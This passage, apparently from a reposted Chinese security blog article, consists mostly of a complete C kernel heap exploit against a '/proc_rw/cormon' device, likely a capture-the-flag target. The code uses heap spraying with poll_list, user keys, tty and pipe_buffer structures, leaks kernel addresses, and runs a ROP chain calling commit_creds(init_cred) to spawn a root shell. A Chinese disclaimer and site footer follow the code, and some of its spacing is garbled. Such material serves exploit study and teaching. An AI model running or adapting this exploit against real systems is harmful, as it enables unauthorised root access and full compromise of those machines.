#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define PAGE_SIZE 0x1000

intrandint(int min, int max){
return min +(rand()%(max - min));
}

voidbind_core(bool fixed, bool thread){
cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ?0: randint(1, get_nprocs()),&cpu_set);
if(thread){
        pthread_setaffinity_np(pthread_self(),sizeof(cpu_set),&cpu_set);
}else{
        sched_setaffinity(getpid(),sizeof(cpu_set),&cpu_set);
}
}

voidqword_dump(char *desc, void *addr, int len){
uint64_t*buf64 =(uint64_t*) addr;
uint8_t*buf8 =(uint8_t*) addr;
if(desc !=NULL){
printf("[*] %s:n", desc);
}
for(int i =0; i < len /8; i +=4){
printf("  %04x", i *8);
for(int j =0; j <4; j++){
            i + j < len /8?printf(" 0x%016lx", buf64[i + j]):printf("                   ");
}
printf("   ");
for(int j =0; j <32&& j + i *8< len; j++){
printf("%c",isprint(buf8[i *8+ j])? buf8[i *8+ j]:'.');
}
puts("");
}
}

boolis_kernel_text_addr(size_t addr){
return addr >=0xFFFFFFFF80000000&& addr <=0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

boolis_dir_mapping_addr(size_t addr){
return addr >=0xFFFF888000000000&& addr <=0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

constsize_t kernel_addr_list[]={
0xffffffff813275c0,
0xffffffff812d4320,
0xffffffff812d4340,
0xffffffff812d4330
};

size_tkernel_offset_query(size_t kernel_text_leak){
if(!is_kernel_text_addr(kernel_text_leak)){
return INVALID_KERNEL_OFFSET;
}
for(int i =0; i <sizeof(kernel_addr_list)/sizeof(kernel_addr_list[0]); i++){
if(!((kernel_text_leak ^ kernel_addr_list[i])&0xFFF)
&&(kernel_text_leak - kernel_addr_list[i])%0x100000==0){
return kernel_text_leak - kernel_addr_list[i];
}
}
printf("[-] unknown kernel addr: %#lxn", kernel_text_leak);
return INVALID_KERNEL_OFFSET;
}

size_tsearch_kernel_offset(void *buf, int len){
size_t*search_buf = buf;
for(int i =0; i < len /8; i++){
size_t kernel_offset = kernel_offset_query(search_buf[i]);
if(kernel_offset != INVALID_KERNEL_OFFSET){
printf("[+] kernel leak addr: %#lxn", search_buf[i]);
printf("[+] kernel offset: %#lxn", kernel_offset);
return kernel_offset;
}
}
return INVALID_KERNEL_OFFSET;
}

size_t user_cs, user_rflags, user_sp, user_ss;

voidsave_status(){
    __asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}

typedefstruct {
int nfds, timer;
} poll_args;

struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;

void*alloc_poll_list(void *args){
int nfds =((poll_args *) args)->nfds;
int timer =((poll_args *) args)->timer;

struct pollfd *pfds =calloc(nfds,sizeof(struct pollfd));
for(int i =0; i < nfds; i++){
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
}

    bind_core(true,true);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);
    poll(pfds, nfds, timer);

    bind_core(false,true);

    pthread_mutex_lock(&mutex);
    poll_threads--;
    pthread_mutex_unlock(&mutex);
}

#define N_STACK_PPS 30
#define POLL_NUM 0x1000

pthread_t poll_tid[POLL_NUM];

voidcreate_poll_thread(size_t size, int timer){
    poll_args *args =calloc(1,sizeof(poll_args));
    args->nfds =
(size -(size + PAGE_SIZE -1)/ PAGE_SIZE *sizeof(struct poll_list))/sizeof(struct pollfd)
+ N_STACK_PPS;
    args->timer = timer;
    pthread_create(&poll_tid[poll_cnt++],0, alloc_poll_list, args);
}

voidwait_poll_start(){
while(poll_threads != poll_cnt);
}

voidjoin_poll_threads(void (*confuse)(void *), void *confuse_args){
for(int i =0; i < poll_threads; i++){
        pthread_join(poll_tid[i],NULL);
if(confuse !=NULL){
            confuse(confuse_args);
}
}
    poll_cnt = poll_threads =0;
}

struct callback_head {
struct callback_head *next;

void(*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void*))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedefunsignedlonglong u64;

struct user_key_payload {
struct rcu_head rcu;/* RCU destructor */
unsignedshort datalen;/* length of this data */
char data[0] __aligned(__alignof__(u64));/* actual data */
};

#define KEY_NUM 199
int key_id[KEY_NUM];

intkey_alloc(int id, void *payload, int payload_len){
char description[0x10]={};
sprintf(description,"%d", id);
return key_id[id]=
        syscall(__NR_add_key,"user", description, payload,
                payload_len -sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

intkey_update(int id, void *payload, size_t plen){
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

intkey_read(int id, void *bufer, size_t buflen){
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

intkey_revoke(int id){
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id],0,0,0);
}

intkey_unlink(int id){
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
struct page *page;
unsignedint offset, len;
conststruct pipe_buf_operations *ops;
unsignedint flags;
unsignedlongprivate;
};

struct pipe_buf_operations {
int(*confirm)(struct pipe_inode_info *,struct pipe_bufer *);
void(*release)(struct pipe_inode_info *,struct pipe_bufer *);
int(*try_steal)(struct pipe_inode_info *,struct pipe_bufer *);
int(*get)(struct pipe_inode_info *,struct pipe_bufer *);
};

voidget_shell(void){
char*args[]={"/bin/bash","-i",NULL};
    execve(args[0], args,NULL);
}

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024

int cormon_fd;
char buf[0x20000];

voidseq_confuse(void *args){
    open("/proc/self/stat", O_RDONLY);
}

size_t push_rsi_pop_rsp_ret =0xFFFFFFFF817AD641;
size_t pop_rdi_ret =0xffffffff8116926d;
size_t init_cred =0xFFFFFFFF8245A960;
size_t commit_creds =0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret =0xffffffff81001615;
size_t find_task_by_vpid =0xFFFFFFFF810E4FC0;
size_t init_fs =0xFFFFFFFF82589740;
size_t pop_rcx_ret =0xffffffff8101f5fc;
size_t add_rax_rcx_ret =0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret =0xffffffff817e1d6d;
size_t pop_rbx_ret =0xffffffff811bce34;
size_t swapgs_ret =0xffffffff81a05418;
size_t iretq =0xffffffff81c00f97;

intmain(){
    bind_core(true,false);
    save_status();
    signal(SIGSEGV,(void*) get_shell);

    cormon_fd = open("/proc_rw/cormon", O_RDWR);
if(cormon_fd <0){
        perror("[-] failed to open cormon.");
exit(-1);
}

size_t kernel_offset;
int target_key;
puts("[*] Saturating kmalloc-32 partial slabs...");

int seq_fd[SEQ_NUM];
for(int i =0; i < SEQ_NUM; i++){
        seq_fd[i]= open("/proc/self/stat", O_RDONLY);
if(seq_fd[i]<0){
            perror("[-] failed to open stat.");
exit(-1);
}
if(i ==2048){
puts("[*] Spraying user keys in kmalloc-32...");
for(int j =0; j < KEY_NUM; j++){
                setxattr("/tmp/exp","aaaaaa", buf,32, XATTR_CREATE);
                key_alloc(j, buf,32);
if(j ==72){
                    bind_core(false,false);
puts("[*] Creating poll threads...");
for(int k =0; k <14; k++){
                        create_poll_thread(
                            PAGE_SIZE +sizeof(struct poll_list)+sizeof(struct pollfd),
3000);
}
                    bind_core(true,false);
                    wait_poll_start();
}
}
puts("[*] Corrupting poll_list next pointer...");
            write(cormon_fd, buf, PAGE_SIZE);
puts("[*] Triggering arbitrary free...");
            join_poll_threads(seq_confuse,NULL);
puts("[*] Overwriting user key size / Spraying seq_operations structures...");
}
}
puts("[*] Leaking kernel pointer...");

for(int i =0; i < KEY_NUM; i++){
int len = key_read(i, buf,sizeof(buf));
        kernel_offset = search_kernel_offset(buf, len);
if(kernel_offset != INVALID_KERNEL_OFFSET){
            qword_dump("dump leak memory", buf,0x1000);
            target_key = i;
break;
}
}
if(kernel_offset == INVALID_KERNEL_OFFSET){
puts("[-] failed to leak kernel offset,try again.");
exit(-1);
}

    push_rsi_pop_rsp_ret += kernel_offset;
    pop_rdi_ret += kernel_offset;
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    pop_r14_pop_r15_ret += kernel_offset;
    find_task_by_vpid += kernel_offset;
    init_fs += kernel_offset;
    pop_rcx_ret += kernel_offset;
    add_rax_rcx_ret += kernel_offset;
    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
    pop_rbx_ret += kernel_offset;
    swapgs_ret += kernel_offset;
    iretq += kernel_offset;

puts("[*] Freeing user keys...");
for(int i =0; i < KEY_NUM; i++){
if(i != target_key){
            key_unlink(i);
}
}
    sleep(1);

puts("[*] Spraying tty_file_private / tty_struct structures...");
int tty_fd[TTY_NUM];
for(int i =0; i < TTY_NUM; i++){
        tty_fd[i]= open("/dev/ptmx", O_RDWR | O_NOCTTY);
if(tty_fd[i]<0){
            perror("[-] failed to open ptmx");
}
}

puts("[*] Leaking heap pointer...");

size_t target_object =-1;
int len = key_read(target_key, buf,sizeof(buf));
    qword_dump("dump leak memory", buf,0x1000);
for(int i =0; i < len; i +=8){
struct tty_file_private *head =(void*)&buf[i];
if(is_dir_mapping_addr((size_t) head->tty)&&!(((size_t) head->tty)&0xFF)
&& head->list.next == head->list.prev && head->list.prev !=NULL){
            qword_dump("leak tty_struct addr from tty_file_private",&buf[i],
sizeof(struct tty_file_private));
            target_object =(size_t) head->tty;
printf("[+] tty_struct addr: %pn", target_object);
break;
}
}
if(target_object ==-1){
puts("[-] failed to leak tty_struct addr.");
exit(-1);
}

puts("[*] Freeing seq_operation structures...");
for(int i =2048; i < SEQ_NUM; i++){
        close(seq_fd[i]);
}

    bind_core(false,false);

puts("[*] Creating poll threads...");
for(int i =0; i <192; i++){
        create_poll_thread(sizeof(struct poll_list)+sizeof(struct pollfd),3000);
}

    bind_core(true,false);

    wait_poll_start();

puts("[*] Freeing corrupted key...");
    key_unlink(target_key);
    sleep(1);// GC key

puts("[*] Overwriting poll_list next pointer...");
char key[32]={};
*(size_t*)&buf[0]= target_object -0x18;

for(int i =0; i < KEY_NUM; i++){
        setxattr("/tmp/exp","aaaaaa", buf,32, XATTR_CREATE);
        key_alloc(i, key,32);
}

puts("[*] Freeing tty_struct structures...");
for(int i =0; i < TTY_NUM; i++){
        close(tty_fd[i]);
}

    sleep(1);// GC TTYs
int pipe_fd[PIPE_NUM][2];
puts("[*] Spraying pipe_bufer structures...");
for(int i =0; i < PIPE_NUM; i++){
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1],"aaaaaa",6);
}

puts("[*] Triggering arbitrary free...");
    join_poll_threads(NULL,NULL);


((struct pipe_bufer *) buf)->ops =(void*)(target_object +0x300);
((struct pipe_buf_operations *)&buf[0x300])->release =(void*) push_rsi_pop_rsp_ret;


size_t*rop =(size_t*) buf;

*rop++= pop_r14_pop_r15_ret;
    rop++;
    rop++;// ops

// commit_creds(&init_creds)
*rop++= pop_rdi_ret;
*rop++= init_cred;
*rop++= commit_creds;

// current = find_task_by_vpid(getpid())
*rop++= pop_rdi_ret;
*rop++= getpid();
*rop++= find_task_by_vpid;

// current->fs = &init_fs
*rop++= pop_rcx_ret;
*rop++=0x6e0;
*rop++= add_rax_rcx_ret;
*rop++= pop_rbx_ret;
*rop++= init_fs;
*rop++= mov_mmrax_rbx_pop_rbx_ret;
    rop++;

// back to user
*rop++= swapgs_ret;
*rop++= iretq;
*rop++=(uint64_t) get_shell;
*rop++= user_cs;
*rop++= user_rflags;
*rop++= user_sp;
*rop++= user_ss;

puts("[*] Spraying ROP chain...");
for(int i =0; i <31; i++){
        key_alloc(i, buf,1024);
}

puts("[*] Hijacking control flow...");
for(int i =0; i < PIPE_NUM; i++){
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
}

    sleep(5);

return0;
}

多试几次还是可以成功的。

kernel heap exploit(二)

kernel heap exploit(二)

原文始发于微信公众号(蚁景网络安全):kernel heap exploit(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日20:22:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kernel heap exploit(二)https://cn-sec.com/archives/3384655.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息